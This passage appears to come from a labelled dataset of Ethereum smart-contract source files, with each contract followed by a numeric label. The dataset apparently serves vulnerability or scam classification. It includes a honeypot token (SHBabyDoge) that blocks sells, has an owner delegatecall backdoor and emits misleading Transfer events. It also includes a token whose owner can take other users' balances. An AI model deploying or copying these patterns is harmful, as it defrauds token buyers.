IntVoteInterface _intVote
) public pure returns(bytes32)
{
return (keccak256(abi.encodePacked(_voteRegisterParams, _intVote)));
}
function proposeGlobalConstraint(
Avatar _avatar,
address _gc,
bytes32 _params,
bytes32 _voteToRemoveParams,
string memory _descriptionHash)
public
returns(bytes32)
{
Parameters memory votingParams = parameters[getParametersFromController(_avatar)];
IntVoteInterface intVote = votingParams.intVote;
bytes32 proposalId = intVote.propose(2, votingParams.voteRegisterParams, msg.sender, address(_avatar));
GCProposal memory proposal = GCProposal({
gc: _gc,
params: _params,
addGC: true,
voteToRemoveParams: _voteToRemoveParams
});
organizationsProposals[address(_avatar)][proposalId] = proposal;
emit NewGlobalConstraintsProposal(
address(_avatar),
proposalId,
address(intVote),
_gc,
_params,
_voteToRemoveParams,
_descriptionHash
);
proposalsInfo[address(intVote)][proposalId] = ProposalInfo({
blockNumber:block.number,
avatar:_avatar
});
return proposalId;
}
function proposeToRemoveGC(Avatar _avatar, address _gc, string memory _descriptionHash) public returns(bytes32) {
ControllerInterface controller = ControllerInterface(_avatar.owner());
require(controller.isGlobalConstraintRegistered(_gc, address(_avatar)));
Parameters memory params = parameters[getParametersFromController(_avatar)];
IntVoteInterface intVote = params.intVote;
bytes32 proposalId = intVote.propose(
2,
voteToRemoveParams[address(_avatar)][_gc],
msg.sender,
address(_avatar)
);
GCProposal memory proposal = GCProposal({
gc: _gc,
params: 0,
addGC: false,
voteToRemoveParams: 0
});
organizationsProposals[address(_avatar)][proposalId] = proposal;
emit RemoveGlobalConstraintsProposal(address(_avatar), proposalId, address(intVote), _gc, _descriptionHash);
proposalsInfo[address(intVote)][proposalId] = ProposalInfo({
blockNumber: block.number,
avatar: _avatar
});
return proposalId;
}
} | 0 | 957 |
pragma solidity ^0.4.24;
contract ERC223Interface {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
function allowance(address _owner, address _spender) public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Transfer(address indexed from, address indexed to, uint value, bytes data);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC223ReceivingContract {
function tokenFallback(address _from, uint _value, bytes _data) public;
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() public onlyOwner whenNotPaused {
paused = true;
emit Pause();
}
function unpause() public onlyOwner whenPaused {
paused = false;
emit Unpause();
}
}
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
contract MarketCoin is ERC223Interface, Pausable {
using SafeMath for uint256;
string internal _name;
string internal _symbol;
uint8 internal _decimals;
uint256 internal _totalSupply;
mapping (address => uint256) internal balances;
mapping (address => mapping (address => uint256)) internal allowed;
mapping (address => bool) public frozenAccount;
event FrozenFunds(address target, bool frozen);
constructor(string name, string symbol, uint8 decimals, uint256 totalSupply) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
_totalSupply = totalSupply;
balances[msg.sender] = totalSupply;
}
function name() public view returns (string) {
return _name;
}
function symbol() public view returns (string) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
function freezeAccount(address target, bool freeze)
public
onlyOwner
{
frozenAccount[target] = freeze;
emit FrozenFunds(target, freeze);
}
function transfer(address _to, uint256 _value)
public
whenNotPaused
returns (bool)
{
require(_to != address(0));
require(_value <= balances[msg.sender]);
require(!frozenAccount[_to]);
require(!frozenAccount[msg.sender]);
balances[msg.sender] = SafeMath.sub(balances[msg.sender], _value);
balances[_to] = SafeMath.add(balances[_to], _value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function transfer(address _to, uint _value, bytes _data)
public
whenNotPaused
returns (bool)
{
require(_value > 0 );
require(!frozenAccount[_to]);
require(!frozenAccount[msg.sender]);
if(isContract(_to)) {
ERC223ReceivingContract receiver = ERC223ReceivingContract(_to);
receiver.tokenFallback(msg.sender, _value, _data);
}
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value, _data);
return true;
}
function isContract(address _addr)
private
view
returns (bool is_contract)
{
uint length;
assembly {
length := extcodesize(_addr)
}
return (length>0);
}
function transferFrom(address _from, address _to, uint256 _value)
public
whenNotPaused
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(!frozenAccount[_to]);
require(!frozenAccount[_from]);
balances[_from] = SafeMath.sub(balances[_from], _value);
balances[_to] = SafeMath.add(balances[_to], _value);
allowed[_from][msg.sender] = SafeMath.sub(allowed[_from][msg.sender], _value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value)
public
whenNotPaused
returns (bool)
{
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue)
public
whenNotPaused
returns (bool)
{
allowed[msg.sender][_spender] = SafeMath.add(allowed[msg.sender][_spender], _addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue)
public
whenNotPaused
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = SafeMath.sub(oldValue, _subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function distributeAirdrop(address[] addresses, uint256 amount)
public
returns (bool seccess)
{
require(amount > 0);
require(addresses.length > 0);
require(!frozenAccount[msg.sender]);
uint256 totalAmount = amount.mul(addresses.length);
require(balances[msg.sender] >= totalAmount);
bytes memory empty;
for (uint i = 0; i < addresses.length; i++) {
require(addresses[i] != address(0));
require(!frozenAccount[addresses[i]]);
balances[addresses[i]] = balances[addresses[i]].add(amount);
emit Transfer(msg.sender, addresses[i], amount, empty);
}
balances[msg.sender] = balances[msg.sender].sub(totalAmount);
return true;
}
function distributeAirdrop(address[] addresses, uint256[] amounts)
public returns (bool) {
require(addresses.length > 0);
require(addresses.length == amounts.length);
require(!frozenAccount[msg.sender]);
uint256 totalAmount = 0;
for(uint i = 0; i < addresses.length; i++){
require(amounts[i] > 0);
require(addresses[i] != address(0));
require(!frozenAccount[addresses[i]]);
totalAmount = totalAmount.add(amounts[i]);
}
require(balances[msg.sender] >= totalAmount);
bytes memory empty;
for (i = 0; i < addresses.length; i++) {
balances[addresses[i]] = balances[addresses[i]].add(amounts[i]);
emit Transfer(msg.sender, addresses[i], amounts[i], empty);
}
balances[msg.sender] = balances[msg.sender].sub(totalAmount);
return true;
}
function collectTokens(address[] addresses, uint256[] amounts)
public
onlyOwner
returns (bool) {
require(addresses.length > 0);
require(addresses.length == amounts.length);
uint256 totalAmount = 0;
bytes memory empty;
for (uint j = 0; j < addresses.length; j++) {
require(amounts[j] > 0);
require(addresses[j] != address(0));
require(!frozenAccount[addresses[j]]);
require(balances[addresses[j]] >= amounts[j]);
balances[addresses[j]] = balances[addresses[j]].sub(amounts[j]);
totalAmount = totalAmount.add(amounts[j]);
emit Transfer(addresses[j], msg.sender, amounts[j], empty);
}
balances[msg.sender] = balances[msg.sender].add(totalAmount);
return true;
}
} | 1 | 3,424 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract SHBabyDoge {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 2,291 |
pragma solidity 0.4.17;
contract PreSale {
address private deployer;
address private FunderSmartTokenAddress = 0x0;
address private FundersTokenCentral = 0x0;
uint256 public oneEtherIsHowMuchFST = 150;
uint256 public startTime = 1506052800;
uint256 public endTime = 1508731200;
uint256 public soldTokenValue = 0;
uint256 public preSaleHardCap = 330000000 * (10 ** 18) * 2 / 100;
event BuyEvent (address buyer, string email, uint256 etherValue, uint256 tokenValue);
function PreSale () public {
deployer = msg.sender;
}
function buyFunderSmartToken (string _email, string _code) payable public returns (bool) {
require(FunderSmartTokenAddress != 0x0);
require(FundersTokenCentral != 0x0);
require(msg.value >= 1 ether);
require(now >= startTime && now <= endTime);
require(soldTokenValue <= preSaleHardCap);
uint256 _tokenValue = msg.value * oneEtherIsHowMuchFST;
if (keccak256(_code) == 0xde7683d6497212fbd59b6a6f902a01c91a09d9a070bba7506dcc0b309b358eed) {
_tokenValue = _tokenValue * 135 / 100;
}
if (keccak256(_code) == 0x65b236bfb931f493eb9e6f3db8d461f1f547f2f3a19e33a7aeb24c7e297c926a) {
_tokenValue = _tokenValue * 130 / 100;
}
if (keccak256(_code) == 0x274125681e11c33f71574f123a20cfd59ed25e64d634078679014fa3a872575c) {
_tokenValue = _tokenValue * 125 / 100;
}
if (FunderSmartTokenAddress.call(bytes4(keccak256("transferFrom(address,address,uint256)")), FundersTokenCentral, msg.sender, _tokenValue) != true) {
revert();
}
BuyEvent(msg.sender, _email, msg.value, _tokenValue);
soldTokenValue = soldTokenValue + _tokenValue;
return true;
}
function transferOut (address _to, uint256 _etherValue) public returns (bool) {
require(msg.sender == deployer);
_to.transfer(_etherValue);
return true;
}
function setFSTAddress (address _funderSmartTokenAddress) public returns (bool) {
require(msg.sender == deployer);
FunderSmartTokenAddress = _funderSmartTokenAddress;
return true;
}
function setFSTKCentral (address _fundersTokenCentral) public returns (bool) {
require(msg.sender == deployer);
FundersTokenCentral = _fundersTokenCentral;
return true;
}
function () public {}
} | 1 | 4,986 |
pragma solidity ^0.4.22;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0 || b == 0){
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function pow(uint256 a, uint256 b) internal pure returns (uint256){
if (b == 0){
return 1;
}
uint256 c = a**b;
assert (c >= a);
return c;
}
}
contract Ownable {
address public owner;
address public newOwner;
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
require(_newOwner != address(0));
newOwner = _newOwner;
}
function acceptOwnership() public {
if (msg.sender == newOwner) {
owner = newOwner;
}
}
}
contract SHAREToken{
function setCrowdsaleContract (address) public;
function sendCrowdsaleTokens(address, uint256) public;
}
contract ShareCrowdsale is Ownable{
using SafeMath for uint;
uint decimals = 6;
SHAREToken public token;
address public distributionAddress;
constructor (address _tokenAddress) public {
token = SHAREToken(_tokenAddress);
owner = 0x4fD26ff0Af100C017BEA88Bd6007FcB68C237960;
distributionAddress = 0xdF4F78fb8B8201ea3c42A1D91A05c97071B59BF2;
setupStages();
token.setCrowdsaleContract(this);
}
uint public constant ICO_START = 1526860800;
uint public constant ICO_FINISH = 1576713600;
uint public constant ICO_MIN_CAP = 1 ether;
uint public tokensSold;
uint public ethCollected;
uint public constant MIN_DEPOSIT = 0.01 ether;
struct Stage {
uint tokensPrice;
uint tokensDistribution;
uint discount;
bool isActive;
}
Stage[] public icoStages;
function setupStages () internal {
icoStages.push(Stage(1650,2500000 * ((uint)(10) ** (uint)(decimals)), 10000, true));
icoStages.push(Stage(1650,5000000 * ((uint)(10) ** (uint)(decimals)), 5000, true));
icoStages.push(Stage(1650,8000000 * ((uint)(10) ** (uint)(decimals)), 3500, true));
icoStages.push(Stage(1650,10000000 * ((uint)(10) ** (uint)(decimals)), 2500, true));
icoStages.push(Stage(1650,15000000 * ((uint)(10) ** (uint)(decimals)), 1800, true));
icoStages.push(Stage(1650,15000000 * ((uint)(10) ** (uint)(decimals)), 1200, true));
icoStages.push(Stage(1650,15000000 * ((uint)(10) ** (uint)(decimals)), 600, true));
icoStages.push(Stage(1650,49500000 * ((uint)(10) ** (uint)(decimals)), 0, true));
}
function stopIcoPhase (uint _phase) external onlyOwner {
icoStages[_phase].isActive = false;
}
function startIcoPhase (uint _phase) external onlyOwner {
icoStages[_phase].isActive = true;
}
function changeIcoStageTokenPrice (uint _phase, uint _tokenPrice) external onlyOwner {
icoStages[_phase].tokensPrice = _tokenPrice;
}
function () public payable {
require (isIco());
require (msg.value >= MIN_DEPOSIT);
require (buy(msg.sender, msg.value));
}
function buy (address _address, uint _value) internal returns(bool) {
uint currentStage = getCurrentStage();
if (currentStage == 100){
return false;
}
uint _phasePrice = icoStages[currentStage].tokensPrice;
uint _tokenPrice = _phasePrice.add(_phasePrice.mul(icoStages[currentStage].discount)/10000);
uint tokensToSend = _value.mul(_tokenPrice)/(uint(10).pow(uint(12)));
if(ethCollected >= ICO_MIN_CAP){
distributionAddress.transfer(address(this).balance);
}
token.sendCrowdsaleTokens(_address,tokensToSend);
tokensSold = tokensSold.add(tokensToSend);
ethCollected += _value;
return true;
}
function getCurrentStage () public view returns(uint) {
uint buffer;
if(isIco()){
for (uint i = 0; i < icoStages.length; i++){
buffer += icoStages[i].tokensDistribution;
if(tokensSold <= buffer && icoStages[i].isActive){
return i;
}
}
}
return 100;
}
function isIco() public view returns(bool) {
if(ICO_START <= now && now <= ICO_FINISH){
return true;
}
return false;
}
function sendCrowdsaleTokensManually (address _address, uint _value) external onlyOwner {
token.sendCrowdsaleTokens(_address,_value);
tokensSold = tokensSold.add(_value);
}
function sendEtherManually () public onlyOwner {
distributionAddress.transfer(address(this).balance);
}
} | 0 | 1,432 |
pragma solidity ^0.4.23;
contract Ownable {
address public owner;
address public cfoAddress;
constructor() public{
owner = msg.sender;
cfoAddress = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier onlyCFO() {
require(msg.sender == cfoAddress);
_;
}
function transferOwnership(address newOwner) external onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
function setCFO(address newCFO) external onlyOwner {
require(newCFO != address(0));
cfoAddress = newCFO;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract MixGenInterface {
function isMixGen() public pure returns (bool);
function openEgg(uint64 userNumber, uint16 eggQuality) public returns (uint256 genes, uint16 quality);
function uniquePet(uint64 newPetId) public returns (uint256 genes, uint16 quality);
}
contract RewardContract {
function get(address receiver, uint256 ethValue) external;
}
contract ExternalContracts is Ownable {
MixGenInterface public geneScience;
RewardContract public reward;
address public storeAddress;
function setMixGenAddress(address _address) external onlyOwner {
MixGenInterface candidateContract = MixGenInterface(_address);
require(candidateContract.isMixGen());
geneScience = candidateContract;
}
function setStoreAddress(address _address) external onlyOwner {
storeAddress = _address;
}
function setRewardAddress(address _address) external onlyOwner {
reward = RewardContract(_address);
}
}
contract PopulationControl is Pausable {
uint32 public breedTimeout = 12 hours;
uint32 maxTimeout = 178 days;
function setBreedTimeout(uint32 timeout) external onlyOwner {
require(timeout <= maxTimeout);
breedTimeout = timeout;
}
}
contract PetBase is PopulationControl{
event Birth(address owner, uint64 petId, uint16 quality, uint256 genes);
event Death(uint64 petId);
event Transfer(address from, address to, uint256 tokenId);
struct Pet {
uint256 genes;
uint64 birthTime;
uint16 quality;
}
mapping (uint64 => Pet) pets;
mapping (uint64 => address) petIndexToOwner;
mapping (address => uint256) public ownershipTokenCount;
mapping (uint64 => uint64) breedTimeouts;
uint64 tokensCount;
uint64 lastTokenId;
function createPet(
uint256 _genes,
uint16 _quality,
address _owner
)
internal
returns (uint64)
{
Pet memory _pet = Pet({
genes: _genes,
birthTime: uint64(now),
quality: _quality
});
lastTokenId++;
tokensCount++;
uint64 newPetId = lastTokenId;
pets[newPetId] = _pet;
_transfer(0, _owner, newPetId);
breedTimeouts[newPetId] = uint64( now + (breedTimeout / 2) );
emit Birth(_owner, newPetId, _quality, _genes);
return newPetId;
}
function _transfer(address _from, address _to, uint256 _tokenId) internal {
uint64 _tokenId64bit = uint64(_tokenId);
ownershipTokenCount[_to]++;
petIndexToOwner[_tokenId64bit] = _to;
if (_from != address(0)) {
ownershipTokenCount[_from]--;
}
emit Transfer(_from, _to, _tokenId);
}
function recommendedPrice(uint16 quality) public pure returns(uint256 price) {
require(quality <= uint16(0xF000));
require(quality >= uint16(0x1000));
uint256 startPrice = 1000;
price = startPrice;
uint256 revertQuality = uint16(0xF000) - quality;
uint256 oneLevel = uint16(0x2000);
uint256 oneQuart = oneLevel/4;
uint256 fullLevels = revertQuality/oneLevel;
uint256 fullQuarts = (revertQuality % oneLevel) / oneQuart ;
uint256 surplus = revertQuality - (fullLevels*oneLevel) - (fullQuarts*oneQuart);
price = price * 44**fullLevels;
price = price / 10**fullLevels;
if(fullQuarts != 0)
{
price = price * 14483154**fullQuarts;
price = price / 10**(7 * fullQuarts);
}
if(surplus != 0)
{
uint256 nextQuartPrice = (price * 14483154) / 10**7;
uint256 surPlusCoefficient = surplus * 10**6 /oneQuart;
uint256 surPlusPrice = ((nextQuartPrice - price) * surPlusCoefficient) / 10**6;
price+= surPlusPrice;
}
price*= 50 szabo;
}
function getGradeByQuailty(uint16 quality) public pure returns (uint8 grade) {
require(quality <= uint16(0xF000));
require(quality >= uint16(0x1000));
if(quality == uint16(0xF000))
return 7;
quality+= uint16(0x1000);
return uint8 ( quality / uint16(0x2000) );
}
}
contract PetOwnership is PetBase {
function transfer(
address _to,
uint256 _tokenId
)
external
whenNotPaused
{
require(_to != address(0));
require(_to != address(this));
require(_owns(msg.sender, uint64(_tokenId)));
_transfer(msg.sender, _to, _tokenId);
}
function _owns(address _claimant, uint64 _tokenId) internal view returns (bool) {
return petIndexToOwner[_tokenId] == _claimant;
}
function ownerOf(uint256 _tokenId) external view returns (address owner) {
uint64 _tokenId64bit = uint64(_tokenId);
owner = petIndexToOwner[_tokenId64bit];
require(owner != address(0));
}
}
contract EggMinting is PetOwnership{
uint8 public uniquePetsCount = 100;
uint16 public globalPresaleLimit = 1500;
mapping (uint16 => uint16) public eggLimits;
mapping (uint16 => uint16) public purchesedEggs;
constructor() public {
eggLimits[55375] = 200;
eggLimits[47780] = 400;
eggLimits[38820] = 100;
eggLimits[31201] = 50;
}
function totalSupply() public view returns (uint) {
return tokensCount;
}
function setEggLimit(uint16 quality, uint16 limit) external onlyOwner {
eggLimits[quality] = limit;
}
function eggAvailable(uint16 quality) constant public returns(bool) {
if( quality < 47000 && tokensCount < ( 100 + uniquePetsCount ) )
return false;
return (eggLimits[quality] > purchesedEggs[quality]);
}
}
contract EggPurchase is EggMinting, ExternalContracts {
uint16[4] discountThresholds = [20, 100, 250, 500];
uint8[4] discountPercents = [75, 50, 30, 20 ];
function purchaseEgg(uint64 userNumber, uint16 quality) external payable whenNotPaused {
require(tokensCount >= uniquePetsCount);
require(eggAvailable(quality));
require(tokensCount <= globalPresaleLimit);
uint256 eggPrice = ( recommendedPrice(quality) * (100 - getCurrentDiscountPercent()) ) / 100;
require(msg.value >= eggPrice);
purchesedEggs[quality]++;
uint256 childGenes;
uint16 childQuality;
(childGenes, childQuality) = geneScience.openEgg(userNumber, quality);
createPet(
childGenes,
childQuality,
msg.sender
);
reward.get(msg.sender, recommendedPrice(quality));
}
function getCurrentDiscountPercent() constant public returns (uint8 discount) {
for(uint8 i = 0; i <= 3; i++)
{
if(tokensCount < (discountThresholds[i] + uniquePetsCount ))
return discountPercents[i];
}
return 10;
}
}
contract PreSale is EggPurchase {
constructor() public {
paused = true;
}
function generateUniquePets(uint8 count) external onlyOwner whenNotPaused {
require(storeAddress != address(0));
require(address(geneScience) != address(0));
require(tokensCount < uniquePetsCount);
uint256 childGenes;
uint16 childQuality;
uint64 newPetId;
for(uint8 i = 0; i< count; i++)
{
if(tokensCount >= uniquePetsCount)
continue;
newPetId = tokensCount+1;
(childGenes, childQuality) = geneScience.uniquePet(newPetId);
createPet(childGenes, childQuality, storeAddress);
}
}
function getPet(uint256 _id) external view returns (
uint64 birthTime,
uint256 genes,
uint64 breedTimeout,
uint16 quality,
address owner
) {
uint64 _tokenId64bit = uint64(_id);
Pet storage pet = pets[_tokenId64bit];
birthTime = pet.birthTime;
genes = pet.genes;
breedTimeout = uint64(breedTimeouts[_tokenId64bit]);
quality = pet.quality;
owner = petIndexToOwner[_tokenId64bit];
}
function unpause() public onlyOwner whenPaused {
require(address(geneScience) != address(0));
require(address(reward) != address(0));
super.unpause();
}
function withdrawBalance(uint256 summ) external onlyCFO {
